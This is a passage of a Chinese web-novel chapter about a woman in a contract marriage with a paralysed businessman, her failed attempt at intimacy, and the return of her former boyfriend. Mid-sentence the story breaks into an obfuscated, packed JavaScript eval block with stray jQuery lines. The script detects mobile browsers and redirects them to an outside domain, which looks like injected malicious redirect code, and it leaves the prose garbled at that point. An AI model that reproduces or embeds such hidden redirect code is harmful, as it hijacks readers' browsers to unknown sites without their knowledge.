夜色沉沉，主卧的灯光被调至最暗，像是刻意营造的安全区。
许星艺站在浴室的镜子前，手指紧紧攥着洗漱台的边缘。镜中的女人双颊泛红，眼睛里闪烁着某种近乎决绝的光。她深吸一口气，指尖颤抖着解开睡裙的系带——这是她上周偷偷买的，丝绸质地，吊带细得几乎承受不住重量，领口开得极低，像是一种无言的邀请。
她必须做些什么。徐修回来的消息像一根刺扎在心头，林允川这几天的沉默更让她心慌。也许只有用最亲密的方式，才能证明自己的选择没有错。
她推开门时，林允川正靠在床头看文件，暖黄的灯光描摹着他锋利的侧脸轮廓，睫毛在眼下投下一小片阴影，像是疲惫的证明。听到动静，他抬起头看她。
她站在浴室门口，指尖轻轻地揪着睡裙的蕾丝边，心跳快得不像话。
“允川。”她轻声叫他。
他抬头，目光落在她身上——那条睡裙是丝绸的，勾勒出她若隐若现的身材，也衬得她肌肤如雪。
“怎么了？”他合上文件，声音比平时低哑。
许星艺没有回答。她径直走到床边，俯身吻住了他。
这个吻来得又急又凶，带着某种孤注一掷的意味。林允川怔了一瞬，随即扣住她的后脑，反客为主地加深。唇齿交缠间，她尝到他口腔里淡淡的薄荷味，还有一丝若有若无的红酒香——他睡前总爱喝一小杯助眠。
她的手滑进他的睡衣下摆，指尖触到他感知平面附近的腰腹。林允川呼吸一滞，猛地按住她的手腕：“星艺？”
他的眼神里带着一丝迷离，在昏暗的灯光下显得格外深邃。许星艺今晚的主动让他既惊喜又困惑，这样的热情来得太过突然，让他隐约觉得有些反常。
但此刻更多的，是胸腔里翻涌的兴奋与紧张。他隐约能感受到她指尖的温度，却感受不到自己身体的回应，这种无能为力的感觉让他喉头发紧。
“不行吗？”她抬眼看他，眼底映着细碎的光，像是含着泪，“你不想要？”
林允川的喉结滚动了一下，眸色深沉如夜：“你确定？我怕我……”
许星艺没有回答，只是再次吻上去，动作比刚才更急切。她的手引导着他的往下，却在触碰到那片毫无反应的区域时，只感受到他瘫软的下半身，原来不仅仅是不能走路这么简单。
空气瞬间凝固成冰。许星艺僵在原地，手指还悬在半空，像是被冻住的蝴蝶。她看着林允川别过脸去，下颌线绷得死紧，脖颈上的青筋清晰可见。
“给我点时间。”他说这句话时，声音里的狼狈像是被撕开的伤口。
许星艺沉默了很久，最终只是轻轻"嗯"了一声，拉过被子背对着他躺下。
黑暗中，她听见他身体挪动的声音，听见他压抑的呼吸，听见窗外风吹过树梢的沙响——唯独听不见自己想要的答案。
林允川也没睡着，拳头攥得死紧。自己最近也真的很努力复健了，怎么还是不行，此刻这具残疾且不争气的身体，成了横亘在他们之间最深的鸿沟。
原来有些鸿沟，连爱情都跨不过去。
一周后，一封烫金请柬静静躺在林家老宅的玄关处。
许星艺拾起请柬时，林允川的轮椅声从走廊传来。他停在光影交界处，目光落在她手中的信封上：“乔冰的婚礼？”
“嗯，下周六。”她翻开内页，指尖在伴娘名单上顿了顿，“她希望我做伴娘。”
林允川挑眉：“你没答应？”
“我说我结婚了，不合适。” 说好的谁先结婚另一个做伴娘，终究是食言了。
林允川靠近，轮椅在地毯上碾出细微的声响。他伸手接过请柬，指腹不经意擦过她的指尖：“已婚人士确实不适合当伴娘。”语气里带着赞许的调侃。
许星艺注视着他低垂的睫毛，犹豫了一下：“你...要一起去吗？”
林允川的手顿住。他想起乔冰那些刻薄的评价，想起她每次看自己时那种怜悯的眼神，胸口像堵了一团棉花。
“你去就好。”他抬眸，嘴角挂着完美的微笑，“我出席反而会让场面尴尬，你玩得开心。”
许星艺伸手想触碰他的手臂，却在半空停住：“乔冰其实人很好，只是……”
“只是觉得我配不上你。”他打断她，语气说的风轻云淡，“没关系，我习惯了。”
许星艺心头一刺，正想解释，林允川已经转开话题：“红包我让秘书准备，就当感谢她这些年对你的照顾。”
他说完便操控轮椅离开，背影在走廊尽头消失得很快，仿佛刚才那句带刺的话只是她的错觉。
午后的阳光透过落地窗洒在咖啡杯上，乔冰漫不经心地搅动着拿铁，杯中的拉花早已支离破碎。
她突然开口，银勺碰撞杯壁发出清脆的声响：“你真要带林允川来我婚礼？”
许星艺摇了摇头：“他不来了。”
“算他识相。”乔冰的红唇勾起一抹讥诮，“当初说好要当我伴娘的人，现在倒好，连个像样的婚礼都没有就偷偷领证。”她突然倾身逼近，“除了林家老太太，这城里没人知道他已婚吧。”
许星艺木然点了点，“我们当初说好的”她声音轻得像在自言自语，“这场婚姻不要张扬，到时候如果结束比较好收场。”
“那你现在图什么？”她扳过好友的肩膀，“你弟弟的移植手术都做完两个月了，那份契约——”
“他对我挺好的，我好像对他动真情了。”许星艺看着杯里凉掉的咖啡。
“这叫依赖！”乔冰的指甲几乎掐进她肩膀，又突然泄了气般松开，声音陡然压低“徐修联系我了，问你近况。”
许星艺的指尖在杯沿一顿，咖啡泛起细微的涟漪。
“你别装傻。”乔冰凑近，“他回国就是为了你，现在人就在岳林上班，你别告诉我你不知道。”
“知道又怎样？”许星艺抬眼，“我结婚了。”
“契约婚姻也算结婚？”乔冰翻了个白眼，“星艺啊星艺，当年你为了弟弟的病签那个协议我理解，以前你没得选，我理解。可现在徐修回来了，他哪样不比林允川强？”
“乔冰！”许星艺猛地打断她，“别说了。”
乔冰盯着她看了几秒，突然问：“你们试过吗？”
“什么？”
“别装傻。”乔冰意有所指地瞄了眼她的手机，“他那个样子...能满足你吗？”
许星艺的脸瞬间涨红：“你胡说什么！”
“那就是没试过。”乔冰叹气，“柏拉图式爱情？你骗谁呢？”
许星艺攥紧咖啡杯，脸瞬间烧了起来。那晚失败的亲密像潮水般涌回脑海，林允川压抑的喘息，黑暗中攥紧的床单，还有最后他别过脸时，眼中一闪而过的痛楚。
“我的事，我自己有数。”她最终只憋出这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177101|180762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句。
乔冰翻了个白眼，从包里掏出一张名片推过去：“徐修的新号码。星艺，别犯傻。”
名片在许星艺指尖微微发烫，烫金的"徐修"二字在阳光下折射出刺眼的光芒。她盯着那行电话号码，心脏像是被一只无形的手攥紧，连呼吸都变得艰涩。
“收着吧。”乔冰的红唇勾起一抹意味深长的笑，“就当是...留个退路。”
许星艺没有回答，只是将名片塞进包包的夹层里，动作仓促得像是要藏起什么罪证。咖啡杯里的拉花已经完全融化，就像她此刻混乱的思绪。
傍晚，许星艺推开家门时，客厅里只亮着一盏落地灯。林允川的轮椅停在落地窗前，窗外是渐渐暗沉的天色。他背对着门口，身影在暮色中显得格外孤独。
“我回来了。”她轻声说。
林允川转过轮椅，脸上是她熟悉的温和笑意：“乔冰的婚礼细节都商量好了？”
“嗯。”她放下包，故意避开那个装着名片的夹层，“就是些常规流程。”
空气一时沉默。许星艺走到他身边，发现茶几上摊开着几份文件——是徐修团队的研发报告，事关岳林集团最近重点投资的项目未来城。
“这个...”她的声音不自觉地发紧。
“这是我们新引进的徐修博士，他来做未来城智能家居的技术总监，下周要开技术评审会。”林允川的语气平静如常，“徐博士的算法很有突破性。”
许星艺的指尖无意识地蜷缩起来。看来从今往后，徐修将不可避免地出现在他们的生活中——以合作伙伴的身份，以科技新贵的身份，以...她过去的一部分的身份。
“允川。”她突然蹲下身，与他平视，“有件事我想告诉你。”
林允川的目光在她脸上停留片刻，忽然伸手抚上她的脸颊：“怎么了？”
“我跟徐修......”许星艺低下头，声音低得几乎听不见。这句话不需要说完，空气中已经弥漫着某种令人窒息的熟悉感。
林允川突然想起程野那句“就当我是做个媒”时意味深长的笑容，所有碎片般的线索在这一刻串联成清晰的图案。
轮椅的金属轮圈被他攥得发冷，“你们一起多久？”他听见自己声音里的砂砾感，眼前不受控制地浮现徐修穿着西装笔挺健硕的身材，还有那双笔直健康的腿，他不想承认他嫉妒徐修。
“五年。”她睫毛颤了颤，一滴泪砸在自己的手背上，许星艺这才发现自己的眼眶又热又胀，她想解释，可跟徐修之前的感情是事实，所有的话语都哽在喉咙里。
林允川静静地看着她，想到了乔冰那句“我看你就是因为放不下你的前任，因为寂寞刚好有个人对你好而已……”，还有亲密尝试时的挫败，她触碰的不仅是瘫痪的下半身，更是他支离破碎的尊严。
现在的他好像什么也给不了她。
“星艺。”他的声音很轻，却像一把钝刀慢慢割开她的沉默，也隔开自己的心，“我们的契约里，从来没有禁止你追求真爱这一条。”
“你这是什么意思?”她猛地抓住他的手，“我跟他都已经是过去式了，只是...…”
只是什么？她自己也不确定了。是因为愧疚？因为同情？还是因为那晚失败的亲密后，她心底萌生的那一丝动摇？
林允川什么都没有说，最终，他只是轻轻叹了口气：“我累了，去休息吧，明天还要早起。”